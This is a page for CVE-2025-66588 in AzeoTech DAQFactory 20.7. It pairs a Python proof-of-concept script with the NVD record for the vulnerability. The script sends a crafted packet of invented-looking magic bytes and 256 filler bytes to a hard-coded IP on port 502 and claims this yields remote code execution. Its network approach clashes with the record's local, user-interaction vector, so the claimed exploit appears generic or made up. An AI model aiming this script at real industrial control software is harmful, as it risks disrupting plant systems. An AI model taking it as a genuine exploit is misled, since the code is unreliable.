CVE-2025-66588

# CVE-2025-66588 PoC - AzeoTech DAQFactory Uninitialized Pointer # Target: AzeoTech DAQFactory 20.7 (Build 2555) # Vulnerability: Access of Uninitialized Pointer leading to RCE import socket import struct import time def create_exploit_packet(): """Generate packet to trigger uninitialized pointer access""" # DAQFactory default port header = b'\x44\x46\x43\x54' # 'DFCT' magic bytes version = struct.pack('<H', 2070) # Version 20.7 # Trigger uninitialized pointer through specific request cmd_type = struct.pack('<I', 0x15) # Specific command type payload_size = struct.pack('<I', 256) # Malformed data to trigger the vulnerability payload = b'\x41' * 256 packet = header + version + cmd_type + payload_size + payload return packet def exploit_daqfactory(target_ip, target_port=502): """Send exploit to DAQFactory service""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Send exploit packet packet = create_exploit_packet() sock.send(packet) # Wait for response response = sock.recv(1024) print(f"Received response: {response.hex()}") sock.close() return True except Exception as e: print(f"Exploit failed: {e}") return False if __name__ == "__main__": # Target configuration target = "192.168.1.100" exploit_daqfactory(target)

{"cve": {"id": "CVE-2025-66588", "sourceIdentifier": "[email protected]", "published": "2025-12-11T21:15:57.907", "lastModified": "2026-01-02T20:08:22.457", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In AzeoTech DAQFactory release 20.7 (Build 2555), an Access of Uninitialized Pointer vulnerability can be exploited by an attacker which can lead to arbitrary code execution."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-824"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:azeotech:daqfactory:*:*:*:*:*:*:*:*", "versionEndExcluding": "21.1", "matchCriteriaId": "5376DDEC-0BAA-465A-9EFB-62B3600336E8"}]}]}], "references": [{"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-345-03", "source": "[email protected]", "tags": ["Third Party Advisory", "US Government Resource"]}]}}